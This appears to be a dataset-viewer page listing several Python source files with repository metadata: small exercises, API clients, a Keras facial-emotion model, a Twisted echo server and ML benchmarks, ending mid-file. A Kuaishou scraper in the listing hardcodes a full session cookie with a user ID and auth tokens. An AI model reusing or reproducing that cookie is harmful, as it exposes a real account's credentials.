ytzi/the-stack-dedup-python-scored · Datasets at Hugging Face

cdb91795db8c176b9e6d1d2b0ffc0bc2b063adbd

857

py

Python

Lessons/Chapter9Exercise1.py

Luderio/Scientific-Computing-with-Python

c7eebcc3b46b68b3d5c08ad25fb802ae9ff42f7f

[ "MIT" ]

null

Lessons/Chapter9Exercise1.py

Luderio/Scientific-Computing-with-Python

c7eebcc3b46b68b3d5c08ad25fb802ae9ff42f7f

[ "MIT" ]

null

Lessons/Chapter9Exercise1.py

Luderio/Scientific-Computing-with-Python

c7eebcc3b46b68b3d5c08ad25fb802ae9ff42f7f

[ "MIT" ]

null

wordCounter = dict() while True : inputFile = input('Enter a file: ') try : fileName = open(inputFile) except : fileName = 'invalid' if fileName == 'invalid' : if inputFile == 'done' : break else : print('Invalid Input') continue for lines in fileName : lines = lines.rstrip() words = lines.split() for wordItems in words : wordCounter[wordItems] = wordCounter.get(wordItems, 0) + 1 largestWordCount = None largestWord = None for word,count in wordCounter.items() : if largestWordCount is None or count > largestWordCount : largestWord = word largestWordCount = count print('Largest Word:', largestWord, 'Count:', largestWordCount) print(wordCounter) continue

25.969697

70

0.574096

0

78

0.091015

cdb943e87aa2338b8600a2d1fc39c5fdf842f690

1,022

py

Python

iris/cli/help.py

kpanic/lymph

5681de5e65ee72efb96012608fc5189a48adafcd

[ "Apache-2.0" ]

null

iris/cli/help.py

kpanic/lymph

5681de5e65ee72efb96012608fc5189a48adafcd

[ "Apache-2.0" ]

null

iris/cli/help.py

kpanic/lymph

5681de5e65ee72efb96012608fc5189a48adafcd

[ "Apache-2.0" ]

null

from iris.cli.base import Command, format_docstring, get_command_class HELP = format_docstring(""" Usage: iris [options] <command> [<args>...] Iris is the personification of the rainbow and messenger of the gods. {COMMON_OPTIONS} Commands: instance Run a single service instance (one process). node Run a node service that manages a group of processes on the same machine. request Send a request message to some service and output the reply. inspect Describe the available rpc methods of a service. tail Stream the logs of one or more services. discover Show available services. help Display help information about iris. """) class HelpCommand(Command): """ Usage: iris help [<command>] """ short_description = 'Display help information about iris.' needs_config = False def run(self): name = self.args['<command>'] if name: print(get_command_class(name).get_help()) else: print(HELP)

26.894737

77

0.671233

332

0.324853

0

681

0.666341

cdb9f5699b06eaa0f164fb54a701bb1fdb951c1f

3,321

py

Python

src/Featurizers/DateTimeFeaturizerData/Tools/JsonGenerator.py

Bhaskers-Blu-Org2/FeaturizersLibrary

229ae38ea233bfb02a6ff92ec3a67c1751c58005

[ "MIT" ]

15

2019-12-14T07:54:18.000Z

2021-03-14T14:53:28.000Z

src/Featurizers/DateTimeFeaturizerData/Tools/JsonGenerator.py

Lisiczka27/FeaturizersLibrary

dc7b42abd39589af0668c896666affb4abe8a622

[ "MIT" ]

30

2019-12-03T20:58:56.000Z

2020-04-21T23:34:39.000Z

src/Featurizers/DateTimeFeaturizerData/Tools/JsonGenerator.py

Lisiczka27/FeaturizersLibrary

dc7b42abd39589af0668c896666affb4abe8a622

[ "MIT" ]

13

2020-01-23T00:18:47.000Z

2021-10-04T17:46:45.000Z

# ---------------------------------------------------------------------- # Copyright (c) Microsoft Corporation. All rights reserved. # Licensed under the MIT License # ---------------------------------------------------------------------- """Generates JSON files based on data previously pickled""" import lzma import os import pickle import sys import json # Note that this isn't used directly, but is required by the picked python content import pandas as pd import CommonEnvironment from CommonEnvironment import CommandLine from CommonEnvironment import FileSystem from CommonEnvironment.StreamDecorator import StreamDecorator # ---------------------------------------------------------------------- _script_fullpath = CommonEnvironment.ThisFullpath() _script_dir, _script_name = os.path.split(_script_fullpath) # ---------------------------------------------------------------------- @CommandLine.EntryPoint( ) @CommandLine.Constraints( zipped_input_filename=CommandLine.FilenameTypeInfo(), output_stream=None, ) def EntryPoint( zipped_input_filename, output_stream=sys.stdout, ): """Generates JSON files based on data previously pickled""" with StreamDecorator(output_stream).DoneManager( line_prefix="", prefix="\nResults: ", suffix="\n", ) as dm: output_dir = os.path.join(_script_dir, "..", "GeneratedCode") FileSystem.RemoveTree(output_dir) FileSystem.MakeDirs(output_dir) df = _holiday_data_loader(zipped_input_filename) #with open('holidays.json', 'w') as f: #f.write(df.to_json(orient='records', lines=True)) allCountryNames = list(set((df['countryOrRegion']))) for countryName in allCountryNames: dfByCountry = df.loc[df['countryOrRegion'] == countryName] date = [int(x.timestamp()) for x in list(dfByCountry['date'])] name = list(dfByCountry['normalizeHolidayName']) date_dict = {"Date" : date} name_dict = {"Holiday" : name} out = {} out.update(date_dict) out.update(name_dict) jsonPath = os.path.join(output_dir, "{}.json".format(countryName)) with open(jsonPath, 'w') as f: json.dump(out, f) return dm.result # ---------------------------------------------------------------------- # ---------------------------------------------------------------------- # ---------------------------------------------------------------------- def _holiday_data_loader(_path): """Load holiday data as a static initializer.""" with lzma.open(_path, "rb") as fr: df = pickle.loads(fr.read()) df['countryRegionCode'] = df['countryRegionCode'] \ .apply(lambda x: x if type(x) == str else None) df['isPaidTimeOff'] = df['isPaidTimeOff'] \ .apply(lambda x: x if type(x) == bool else None) return df # ---------------------------------------------------------------------- # ---------------------------------------------------------------------- # ---------------------------------------------------------------------- if __name__ == "__main__": try: sys.exit(CommandLine.Main()) except KeyboardInterrupt: pass

34.957895

82

0.504065

0

1,412

0.425173

0

1,356

0.408311

cdba82790169d516d43e4d1c83b7c0a26c10e1fe

7,152

py

Python

fer.py

MahmoudSabra1/Emotion-recognition-song-recommendation

5cad8413b6c98cee12798334009fe8942a420527

[ "MIT" ]

11

2020-11-11T14:52:05.000Z

2022-03-11T11:37:42.000Z

fer.py

MahmoudSabra1/Emotion-recognition-song-recommendation

5cad8413b6c98cee12798334009fe8942a420527

[ "MIT" ]

1

2021-06-21T06:42:59.000Z

fer.py

MahmoudSabra1/Emotion-recognition-song-recommendation

5cad8413b6c98cee12798334009fe8942a420527

[ "MIT" ]

7

2021-01-26T03:40:12.000Z

2021-12-20T12:24:34.000Z

# Two lines that remove tensorflow GPU logs # import os # os.environ['TF_CPP_MIN_LOG_LEVEL'] = '3' import numpy as np import pandas as pd import matplotlib.pyplot as plt from keras.optimizers import Adam from keras.models import Sequential, model_from_json from keras.layers import Conv2D, MaxPooling2D, Dense, Flatten, Dropout, BatchNormalization, Activation from keras.preprocessing.image import ImageDataGenerator from sklearn import model_selection from math import ceil # Loads csv files and appends pixels to X and labels to y def preprocess_data(): data = pd.read_csv('fer2013.csv') labels = pd.read_csv('fer2013new.csv') orig_class_names = ['neutral', 'happiness', 'surprise', 'sadness', 'anger', 'disgust', 'fear', 'contempt', 'unknown', 'NF'] n_samples = len(data) w = 48 h = 48 y = np.array(labels[orig_class_names]) X = np.zeros((n_samples, w, h, 1)) for i in range(n_samples): X[i] = np.fromstring(data['pixels'][i], dtype=int, sep=' ').reshape((h, w, 1)) return X, y def clean_data_and_normalize(X, y): orig_class_names = ['neutral', 'happiness', 'surprise', 'sadness', 'anger', 'disgust', 'fear', 'contempt', 'unknown', 'NF'] # Using mask to remove unknown or NF images y_mask = y.argmax(axis=-1) mask = y_mask < orig_class_names.index('unknown') X = X[mask] y = y[mask] # Convert to probabilities between 0 and 1 y = y[:, :-2] * 0.1 # Add contempt to neutral and remove it y[:, 0] += y[:, 7] y = y[:, :7] # Normalize image vectors X = X / 255.0 return X, y def split_data(X, y): test_size = ceil(len(X) * 0.1) # Split Data x_train, x_test, y_train, y_test = model_selection.train_test_split(X, y, test_size=test_size, random_state=42) x_train, x_val, y_train, y_val = model_selection.train_test_split(x_train, y_train, test_size=test_size, random_state=42) return x_train, y_train, x_val, y_val, x_test, y_test def data_augmentation(x_train): shift = 0.1 datagen = ImageDataGenerator( rotation_range=20, horizontal_flip=True, height_shift_range=shift, width_shift_range=shift) datagen.fit(x_train) return datagen def show_augmented_images(datagen, x_train, y_train): it = datagen.flow(x_train, y_train, batch_size=1) plt.figure(figsize=(10, 7)) for i in range(25): plt.subplot(5, 5, i + 1) plt.xticks([]) plt.yticks([]) plt.grid(False) plt.imshow(it.next()[0][0], cmap='gray') # plt.xlabel(class_names[y_train[i]]) plt.show() def define_model(input_shape=(48, 48, 1), classes=7): num_features = 64 model = Sequential() # 1st stage model.add(Conv2D(num_features, kernel_size=(3, 3), input_shape=input_shape)) model.add(BatchNormalization()) model.add(Activation(activation='relu')) model.add(Conv2D(num_features, kernel_size=(3, 3))) model.add(BatchNormalization()) model.add(Activation(activation='relu')) model.add(Dropout(0.5)) # 2nd stage model.add(Conv2D(num_features, (3, 3), activation='relu')) model.add(Conv2D(num_features, (3, 3), activation='relu')) model.add(MaxPooling2D(pool_size=(2, 2), strides=(2, 2))) # 3rd stage model.add(Conv2D(2 * num_features, kernel_size=(3, 3))) model.add(BatchNormalization()) model.add(Activation(activation='relu')) model.add(Conv2D(2 * num_features, kernel_size=(3, 3))) model.add(BatchNormalization()) model.add(Activation(activation='relu')) # 4th stage model.add(Conv2D(2 * num_features, (3, 3), activation='relu')) model.add(Conv2D(2 * num_features, (3, 3), activation='relu')) model.add(MaxPooling2D(pool_size=(2, 2), strides=(2, 2))) # 5th stage model.add(Conv2D(4 * num_features, kernel_size=(3, 3))) model.add(BatchNormalization()) model.add(Activation(activation='relu')) model.add(Conv2D(4 * num_features, kernel_size=(3, 3))) model.add(BatchNormalization()) model.add(Activation(activation='relu')) model.add(Flatten()) # Fully connected neural networks model.add(Dense(1024, activation='relu')) model.add(Dropout(0.2)) model.add(Dense(1024, activation='relu')) model.add(Dropout(0.2)) model.add(Dense(classes, activation='softmax')) return model def plot_acc_loss(history): # Plot accuracy graph plt.plot(history.history['accuracy'], label='accuracy') plt.plot(history.history['val_accuracy'], label='val_accuracy') plt.xlabel('Epoch') plt.ylabel('accuracy') plt.ylim([0, 1.0]) plt.legend(loc='upper left') plt.show() # Plot loss graph plt.plot(history.history['loss'], label='loss') plt.plot(history.history['val_loss'], label='val_loss') plt.xlabel('Epoch') plt.ylabel('Loss') # plt.ylim([0, 3.5]) plt.legend(loc='upper right') plt.show() def save_model_and_weights(model, test_acc): # Serialize and save model to JSON test_acc = int(test_acc * 10000) model_json = model.to_json() with open('Saved-Models\\model' + str(test_acc) + '.json', 'w') as json_file: json_file.write(model_json) # Serialize and save weights to JSON model.save_weights('Saved-Models\\model' + str(test_acc) + '.h5') print('Model and weights are saved in separate files.') def load_model_and_weights(model_path, weights_path): # Loading JSON model json_file = open(model_path, 'r') loaded_model_json = json_file.read() json_file.close() model = model_from_json(loaded_model_json) # Loading weights model.load_weights(weights_path) model.compile(optimizer='adam', loss='binary_crossentropy', metrics=['accuracy']) print('Model and weights are loaded and compiled.') def run_model(): fer_classes = ['neutral', 'happiness', 'surprise', 'sadness', 'anger', 'disgust', 'fear'] X, y = preprocess_data() X, y = clean_data_and_normalize(X, y) x_train, y_train, x_val, y_val, x_test, y_test = split_data(X, y) datagen = data_augmentation(x_train) epochs = 100 batch_size = 64 print("X_train shape: " + str(x_train.shape)) print("Y_train shape: " + str(y_train.shape)) print("X_test shape: " + str(x_test.shape)) print("Y_test shape: " + str(y_test.shape)) print("X_val shape: " + str(x_val.shape)) print("Y_val shape: " + str(y_val.shape)) # Training model from scratch model = define_model(input_shape=x_train[0].shape, classes=len(fer_classes)) model.summary() model.compile(optimizer=Adam(lr=0.0001), loss='binary_crossentropy', metrics=['accuracy']) history = model.fit(datagen.flow(x_train, y_train, batch_size=batch_size), epochs=epochs, steps_per_epoch=len(x_train) // batch_size, validation_data=(x_val, y_val), verbose=2) test_loss, test_acc = model.evaluate(x_test, y_test, batch_size=batch_size) plot_acc_loss(history) save_model_and_weights(model, test_acc) run_model()

32.216216

115

0.65646

0

1,449

0.202601

cdbc9720aa5c6f9258b24ce41fb35960b581a3f8

705

py

Python

manual.py

Taschenbergerm/bgg_miner

f20057ec2e85e20ad08f92514ce38c699e8c85eb

[ "MIT" ]

null

manual.py

Taschenbergerm/bgg_miner

f20057ec2e85e20ad08f92514ce38c699e8c85eb

[ "MIT" ]

null

manual.py

Taschenbergerm/bgg_miner

f20057ec2e85e20ad08f92514ce38c699e8c85eb

[ "MIT" ]

null

from pprint import pprint import requests from lxml import etree def itter(tree): for ele in tree.iter(): print("##########################") print("Tag:", ele.tag) print("Text:", ele.text) print("Attributes:", ele.attrib) print("##########################") def main(): # url = f"https://www.boardgamegeek.com/xmlapi/boardgame/174430" url = f"https://www.boardgamegeek.com/xmlapi2/thing" response = requests.get(url, params={"id": 174430, "stats": 1}) print(response.request.url) print(response.status_code) print(response.content) tree = etree.fromstring(response.content) itter(tree) if __name__ == "__main__": main()

27.115385

68

0.591489

0

213

0.302128

cdbd2bded66eee36ec46ada4de75a010512f317b

2,962

py

Python

app/requests.py

gabrielcoder247/News-Highlight-v2

595f4ee9739b173142d1012bdda63526818930e4

[ "Unlicense" ]

null

app/requests.py

gabrielcoder247/News-Highlight-v2

595f4ee9739b173142d1012bdda63526818930e4

[ "Unlicense" ]

null

app/requests.py

gabrielcoder247/News-Highlight-v2

595f4ee9739b173142d1012bdda63526818930e4

[ "Unlicense" ]

null

import urllib.request,json from .models import Source,Article from . import main # Getting Api Key api_Key = None #Getting the base urls sources_base_url = None articles_base_url = None def configure_request(app): ''' Function to acquire the api key and base urls ''' global api_Key,sources_base_url,articles_base_url api_Key = app.config['NEWS_API_KEY'] sources_base_url = app.config['NEWS_SOURCES_BASE_URL'] articles_base_url = app.config['NEWS_ARTICLES_BASE_URL'] def get_sources(category): ''' Function that gets the json response to our url request ''' get_sources_url = sources_base_url.format(category) with urllib.request.urlopen(get_sources_url,data=None) as url: get_sources_data = url.read() get_sources_response = json.loads(get_sources_data) sources_results = None if get_sources_response['sources']: sources_results_list = get_sources_response['sources'] sources_results = process_sources(sources_results_list) # print(sources_results) return sources_results def process_sources(sources_results): ''' Function that processes the sources result and transform them to a list of Objects Args: sources_results: A list of dictionaries that contain sources details Returns : sources_list: A list of sources objects ''' sources_list = [] for source_item in sources_results: id = source_item.get('id') name = source_item.get('name') description = source_item.get('description') url = source_item.get('url') category = source_item.get('category') source_object = Source(id,name,description,url,category) sources_list.append(source_object) return sources_list def get_articles(source): ''' Function that gets the json response to our url request ''' get_articles_url = articles_base_url.format(source,api_Key) with urllib.request.urlopen(get_articles_url,data=None) as url: get_articles_data = url.read() get_articles_response = json.loads(get_articles_data) articles_results = None if get_articles_response['articles']: articles_results_list = get_articles_response['articles'] articles_results = process_articles(articles_results_list) return articles_results def process_articles(articles_results): ''' Function that processes the articles result and transform them to a list of Objects Args: articles_results: A list of dictionaries that contain articles details Returns : articles_list: A list of articles objects ''' articles_list = [] for article_item in articles_results: name = article_item.get('name') author = article_item.get('author') title = article_item.get('title') description = article_item.get('description') url = article_item.get('url') urlToImage = article_item.get('urlToImage') publishedAt = article_item.get('publishedAt') if publishedAt and author and urlToImage: article_object = Article(name,author,title,description,url,urlToImage,publishedAt) articles_list.append(article_object) return articles_list

30.854167

85

0.778528

0

906

0.305874

cdc3ceae4eb0b0fc7a29f9482fb7047dcfef58b4

727

py

Python

main.py

csmyth93/solo_scoring

6c1a32a3430058aa7d51be604dcc02d11ce85edd

[ "MIT" ]

null

main.py

csmyth93/solo_scoring

6c1a32a3430058aa7d51be604dcc02d11ce85edd

[ "MIT" ]

null

main.py

csmyth93/solo_scoring

6c1a32a3430058aa7d51be604dcc02d11ce85edd

[ "MIT" ]

null

def get_names(): names = [] while True: name = input("Enter players name: ") if name != 'done': print(f'{name} added to the list of players') names.append(name) continue else: break return names def get_player_scores(players): for player in players: scores = [] while True: score = input(f"What are {player}'s final cards? ") if score != 'end': scores.append(score) continue else: break return scores if __name__ == '__main__': players = get_names() print(players) scores = get_player_scores(players) print(scores)

22.71875

63

0.515818

0

117

0.160935

cdc3dc53bc12e7691159632083c1b94dc1973dac

74

py

Python

tests/unit/conftest.py

fourTheorem/slic-slack

cffc870c2399feff67199050460abdcb3385ef17

[ "Apache-2.0" ]

4

2022-01-14T15:47:55.000Z

2022-01-14T16:15:18.000Z

tests/unit/conftest.py

fourTheorem/slic-slack

cffc870c2399feff67199050460abdcb3385ef17

[ "Apache-2.0" ]

null

tests/unit/conftest.py

fourTheorem/slic-slack

cffc870c2399feff67199050460abdcb3385ef17

[ "Apache-2.0" ]

null

import os os.environ['SLACK_WEBHOOK_URL'] = 'https://example.com/slack'

14.8

61

0.72973

0

46

0.621622

cdc442d6b9ce4b9876165256e71bc1dbffd0f620

760

py

Python

python/twisted/web_echo.py

y2ghost/work

b7f5b02db9dc0df6157bc799ddb4a1ac9d574cf3

[ "MIT" ]

null

python/twisted/web_echo.py

y2ghost/work

b7f5b02db9dc0df6157bc799ddb4a1ac9d574cf3

[ "MIT" ]

null

python/twisted/web_echo.py

y2ghost/work

b7f5b02db9dc0df6157bc799ddb4a1ac9d574cf3

[ "MIT" ]

null

from twisted.protocols import basic from twisted.internet import protocol, reactor class HTTPEchoProtocol(basic.LineReceiver): def __init__(self): self.lines = [] def lineReceived(self, line): self.lines.append(line.decode()) if not line: self.sendResponse() def sendResponse(self): self.sendLine(b"HTTP/1.1 200 OK") self.sendLine(b"") responseBody = "You said:\r\n\r\n" + "\r\n".join(self.lines) data = responseBody.encode() self.transport.write(data) self.transport.loseConnection() class HTTPEchoFactory(protocol.ServerFactory): def buildProtocol(self, addr): return HTTPEchoProtocol() reactor.listenTCP(8000, HTTPEchoFactory()) reactor.run()

27.142857

68

0.661842

614

0.807895

0

46

0.060526

cdc5a62dbf81299334c3372e259e1e6b484185cd

2,804

py

Python

app01/tools.py

xinxinliang/ksDjango

0c0f4a5842cf225e77035b716979fcf9b8d03311

[ "Apache-2.0" ]

13

2021-03-11T12:35:29.000Z

2022-02-25T02:22:47.000Z

app01/tools.py

xinxinliang/ksDjango

0c0f4a5842cf225e77035b716979fcf9b8d03311

[ "Apache-2.0" ]

1

2021-11-04T03:02:10.000Z

app01/tools.py

xinxinliang/ksDjango

0c0f4a5842cf225e77035b716979fcf9b8d03311

[ "Apache-2.0" ]

4

2021-06-12T19:27:01.000Z

2022-02-04T05:13:54.000Z

import requests import json import os import time from app01.models import UserTitle # 爬取个人主页关注用户的id和naame URL = "https://video.kuaishou.com/graphql" headers = { "accept":"*/*", "Content-Length":"<calculated when request is sent>", "Accept-Encoding": "gzip, deflate", "Connection": "keep-alive", "content-type": "application/json", "Cookie": r'kpf=PC_WEB; kpn=KUAISHOU_VISION; clientid=3; did=web_ec874916e390b9741609686125a0452e; didv=1613879531823; client_key=65890b29; ktrace-context=1|MS43NjQ1ODM2OTgyODY2OTgyLjc1MjgyMjUyLjE2MTU0NDI5NDQ0MzYuMTU2OTE=|MS43NjQ1ODM2OTgyODY2OTgyLjIxMjcxODY4LjE2MTU0NDI5NDQ0MzYuMTU2OTI=|0|graphql-server|webservice|false|NA; userId=427400950; kuaishou.server.web_st=ChZrdWFpc2hvdS5zZXJ2ZXIud2ViLnN0EqABUkHhV7V4kZgEsKH5ujlHNWEHV_KRDoBGhvSztjMMB54VfcpY6EJgzK_b3ZYFhM0obMSTVBDc7Csb-KuDKQpR8sobH5ozd82kEMIV5eb3S0QSJBxAemnSYimqR5IskD_IGA06cph50uA_oH2OftW2tSpaBuXl3vyYhFv6aS_24d8z0n9WILEo5JcTI0QpDdmDoRnXxHc_x7JHIR3s1pBlBhoSzFZBnBL4suA5hQVn0dPKLsMxIiDp66EsPPenAZG6MBgmJkQL2mrCKEDn1OPcTisxS6wffSgFMAE; kuaishou.server.web_ph=cb43dea88ab3a4c31dd231f2dc9cc29b8680', "Host": "video.kuaishou.com", "Origin": "https://video.kuaishou.com", "Referer": "https://video.kuaishou.com/profile/3xsms2z7ft9fmhg", "User-Agent": "PostmanRuntime/7.26.8" } payload = {"operationName":"visionProfileUserList","variables":{"ftype":1},"query":"query visionProfileUserList($pcursor: String, $ftype: Int) {\n visionProfileUserList(pcursor: $pcursor, ftype: $ftype) {\n result\n fols {\n user_name\n headurl\n user_text\n isFollowing\n user_id\n __typename\n }\n hostName\n pcursor\n __typename\n }\n}\n"} def get_data(): res = requests.post(URL, headers=headers, json=payload) res.encoding = "utf-8" m_json = res.json() # 字典格式 fols_list = m_json["data"]["visionProfileUserList"]["fols"] pcursor = m_json["data"]["visionProfileUserList"]["pcursor"] payload["variables"]["pcursor"] = pcursor for fols in fols_list: userID = fols["user_id"] userName = fols["user_name"] # 提交请求把数据填到数据库 add_data(userID,userName) # 需要设置延迟 time.sleep(1) print("userID:%s-------userName:%s" % (userID, userName)) if pcursor == "no_more": return 0 def add_data(userID,userName): if not UserTitle.objects.filter(userID=userID): UserTitle.objects.create(userID=userID, userName=userName) print("ID为%s的用户存入数据库成功++++++++++++++"%(userID)) else: print("ID为%s的用户已经存在数据库---------------" % (userID)) def start_data(): while (1): temp = get_data() if temp == 0: break print("---------------------当前用户地址完成-------------------") if __name__ == "__main__": start_data()

43.8125

760

0.696148

0

1,928

0.657572

cdc5fa09b3e8bd5d035d3ebb8b21feb4b7b64279

2,183

py

Python

core/thirdparty/load_openpose.py

jshuhnow/OddEyeCam

ed76cd1c29701b7b49f20bcd61e7e72d3140fda8

[ "MIT" ]

8

2020-10-08T13:32:33.000Z

2021-12-08T10:59:03.000Z

core/thirdparty/load_openpose.py

jshuhnow/OddEyeCam

ed76cd1c29701b7b49f20bcd61e7e72d3140fda8

[ "MIT" ]

null

core/thirdparty/load_openpose.py

jshuhnow/OddEyeCam

ed76cd1c29701b7b49f20bcd61e7e72d3140fda8

[ "MIT" ]

1

2021-04-15T23:50:13.000Z

import os import sys this_dir = os.path.dirname(__file__) import numpy as np openpose_path = os.path.join(this_dir, 'openpose') op_release_path = os.path.join(openpose_path, 'Release') model_path = os.path.join(openpose_path, 'models') print(op_release_path) sys.path.append(op_release_path); os.environ['PATH'] = os.environ['PATH'] + ';' + openpose_path + '/x64/Release;' + openpose_path + '/bin;' import pyopenpose as op opWrapper = op.WrapperPython() params = dict() params["model_folder"] = model_path params["number_people_max"] = 1 params["net_resolution"]="-1x160" params["body"] = 1 params["output_resolution"] = "-1x-1" params["disable_multi_thread"] = True opWrapper.configure(params) opWrapper.start() class PoseEstimator(): def __init__(self): self.RShColor = (0, 140, 255) self.LShColor = (0, 255, 215) self.NeckColor = (0, 0, 215) self.NoseColor = (215, 0, 215) def _keypoint_to_index(self,keypoints): v = keypoints[:,1] u = keypoints[:,0] idx = np.array([v,u]).astype(np.int).transpose() return idx def find_body_on_2D(self, src_img, verts): datum = op.Datum() datum.cvInputData = src_img opWrapper.emplaceAndPop([datum]) self.op_img = datum.cvOutputData #print(datum.poseKeypoints) # Check validity if not str(datum.poseKeypoints.shape) == '(1, 25, 3)': return np.zeros((25, 3)).astype(np.int) data = datum.poseKeypoints # self.RShoulder2D = np.array([data[0,2,0], data[0,2,1]]) # self.LShoulder2D = np.array([data[0,5,0], data[0,5,1]]) # self.Neck2D = np.array([data[0,1,0], data[0,1,1]]) # keypoint = np.array([self.RShoulder2D, self.LShoulder2D, self.Neck2D]).astype(np.int) # return keypoint keypoints = data[0] # switch (u,v) -> (v,u) idx = self._keypoint_to_index(keypoints) return idx def just_find_body_on_2D(self, src_img): datum = op.Datum() datum.cvInputData = src_img opWrapper.emplaceAndPop([datum]) self.op_img = datum.cvOutputData return datum.cvOutputData, datum.poseKeypoints

35.209677

107

0.639487

1,466

0.671553

0

523

0.239579

cdc633f283f26d40a91533035d25cbe1abaa2d61

11,193

py

Python

pybench/benchmarks/benchmark_ml.py

pentschev/pybench

89d65a6c418a1fee39d447bd11b8a999835b74a9

[ "Apache-2.0" ]

14

2019-06-29T19:19:10.000Z

2022-03-31T06:40:33.000Z

pybench/benchmarks/benchmark_ml.py

pentschev/pybench

89d65a6c418a1fee39d447bd11b8a999835b74a9

[ "Apache-2.0" ]

2

2019-07-23T22:06:37.000Z

2019-08-19T22:15:32.000Z

pybench/benchmarks/benchmark_ml.py

pentschev/pybench

89d65a6c418a1fee39d447bd11b8a999835b74a9

[ "Apache-2.0" ]

5

2019-07-23T14:48:48.000Z

2020-04-01T08:43:00.000Z

import pytest import importlib import numba, numba.cuda import numpy as np from pybench import run_benchmark _shapes = { "small": [(int(2 ** 14), 512), (int(2 ** 15), 512), (int(2 ** 16), 512)], "large": [(int(2 ** 20), 512), (int(2 ** 21), 512), (int(2 ** 22), 512)], } def load_data(nrows, ncols, cached, train_split=1.0, label_col=None): import gzip import os import numpy as np, gzip, os import pandas as pd train_rows = int(nrows * train_split) if os.path.exists(cached): with gzip.open(cached) as f: X = np.load(f) if train_split < 1.0 and label_col is not None: X = X[:, [i for i in range(X.shape[1]) if i != label_col]] y = X[:, label_col : label_col + 1] rindices = np.random.randint(0, X.shape[0] - 1, nrows) X = X[rindices, :ncols] y = y[rindices] df_y_train = pd.DataFrame( {"fea%d" % i: y[0:train_rows, i] for i in range(y.shape[1])} ) df_y_test = pd.DataFrame( {"fea%d" % i: y[train_rows:, i] for i in range(y.shape[1])} ) else: X = X[np.random.randint(0, X.shape[0] - 1, nrows), :ncols] else: # throws FileNotFoundError error if mortgage dataset is not present raise FileNotFoundError( "Please download the required dataset or check the path" ) if train_split < 1.0 and label_col is not None: df_X_train = pd.DataFrame( {"fea%d" % i: X[0:train_rows, i] for i in range(X.shape[1])} ) df_X_test = pd.DataFrame( {"fea%d" % i: X[train_rows:, i] for i in range(X.shape[1])} ) return { "X_train": df_X_train, "X_test": df_X_test, "y_train": df_y_train, "y_test": df_y_test, } else: df = pd.DataFrame({"fea%d" % i: X[:, i] for i in range(X.shape[1])}) return df def load_mortgage(d): kwargs = {"nrows": d["shape"][0], "ncols": d["shape"][1], "cached": d["data"]} if "train_split" in d: kwargs["train_split"] = d["train_split"] if "label_col" in d: kwargs["label_col"] = d["label_col"] data = load_data(**kwargs) if d["module"] == "cuml": import cudf if isinstance(data, dict): for k, v in data.items(): data[k] = cudf.DataFrame.from_pandas(v) data["y_train"] = cudf.Series(data["y_train"]["fea0"]) else: data = cudf.DataFrame.from_pandas(data) return {"module": d["module"], "data": data} @pytest.mark.parametrize("module", ["sklearn", "cuml"]) @pytest.mark.parametrize("shape", _shapes["large"]) @pytest.mark.parametrize("data", ["data/mortgage.npy.gz"]) def test_PCA(benchmark, module, shape, data): if module == "sklearn": m = importlib.import_module("sklearn.decomposition") else: m = importlib.import_module("cuml") def compute_func(data): kwargs = { "n_components": 10, "whiten": False, "random_state": 42, "svd_solver": "full", } pca = m.PCA(**kwargs) pca.fit_transform(data["data"]) run_benchmark( benchmark, m, compute_func, load_mortgage, {"module": module, "shape": shape, "data": data}, ) @pytest.mark.parametrize("module", ["sklearn", "cuml"]) @pytest.mark.parametrize("shape", _shapes["small"]) @pytest.mark.parametrize("data", ["data/mortgage.npy.gz"]) def test_DBSCAN(benchmark, module, shape, data): if module == "sklearn": m = importlib.import_module("sklearn.cluster") else: m = importlib.import_module("cuml") def compute_func(data): kwargs = {"eps": 3, "min_samples": 2} if data["module"] == "sklearn": kwargs["n_jobs"] = -1 kwargs["algorithm"] = "brute" dbscan = m.DBSCAN(**kwargs) dbscan.fit(data["data"]) run_benchmark( benchmark, m, compute_func, load_mortgage, {"module": module, "shape": shape, "data": data}, ) @pytest.mark.parametrize("module", ["sklearn", "cuml"]) @pytest.mark.parametrize("shape", _shapes["large"]) @pytest.mark.parametrize("data", ["data/mortgage.npy.gz"]) def test_TSVD(benchmark, module, shape, data): if module == "sklearn": m = importlib.import_module("sklearn.decomposition") else: m = importlib.import_module("cuml") def compute_func(data): kwargs = {"n_components": 10, "random_state": 42} if data["module"] == "sklearn": kwargs["algorithm"] = "arpack" elif data["module"] == "cuml": kwargs["algorithm"] = "full" tsvd = m.TruncatedSVD(**kwargs) tsvd.fit_transform(data["data"]) run_benchmark( benchmark, m, compute_func, load_mortgage, {"module": module, "shape": shape, "data": data}, ) @pytest.mark.parametrize("module", ["sklearn", "cuml"]) @pytest.mark.parametrize("shape", _shapes["small"]) @pytest.mark.parametrize("data", ["data/mortgage.npy.gz"]) def test_KNN(benchmark, module, shape, data): if module == "sklearn": m = importlib.import_module("sklearn.neighbors") else: m = importlib.import_module("cuml.neighbors.nearest_neighbors") def compute_func(data): kwargs = {} n_neighbors = 10 if data["module"] == "sklearn": kwargs["metric"] = "sqeuclidean" kwargs["n_jobs"] = -1 knn = m.NearestNeighbors(**kwargs) knn.fit(data["data"]) knn.kneighbors(data["data"], n_neighbors) run_benchmark( benchmark, m, compute_func, load_mortgage, {"module": module, "shape": shape, "data": data}, ) @pytest.mark.parametrize("module", ["sklearn", "cuml"]) @pytest.mark.parametrize("shape", _shapes["large"]) @pytest.mark.parametrize("data", ["data/mortgage.npy.gz"]) def test_SGD(benchmark, module, shape, data): if module == "sklearn": m = importlib.import_module("sklearn.linear_model") else: m = importlib.import_module("cuml.solvers") def compute_func(data): kwargs = { "learning_rate": "adaptive", "eta0": 0.07, "penalty": "elasticnet", "loss": "squared_loss", "tol": 0.0, } if data["module"] == "sklearn": kwargs["max_iter"] = 10 kwargs["fit_intercept"] = True sgd = m.SGDRegressor(**kwargs) elif data["module"] == "cuml": kwargs["epochs"] = 10 kwargs["batch_size"] = 512 sgd = m.SGD(**kwargs) X_train = data["data"]["X_train"] y_train = data["data"]["y_train"] sgd.fit(X_train, y_train) run_benchmark( benchmark, m, compute_func, load_mortgage, { "module": module, "shape": shape, "data": data, "train_split": 0.8, "label_col": 4, }, ) @pytest.mark.parametrize("module", ["sklearn", "cuml"]) @pytest.mark.parametrize("shape", _shapes["large"]) @pytest.mark.parametrize("data", ["data/mortgage.npy.gz"]) def test_LinearRegression(benchmark, module, shape, data): if module == "sklearn": m = importlib.import_module("sklearn.linear_model") else: m = importlib.import_module("cuml") def compute_func(data): kwargs = {"fit_intercept": True, "normalize": True} if data["module"] == "cuml": kwargs["algorithm"] = "eig" X_train = 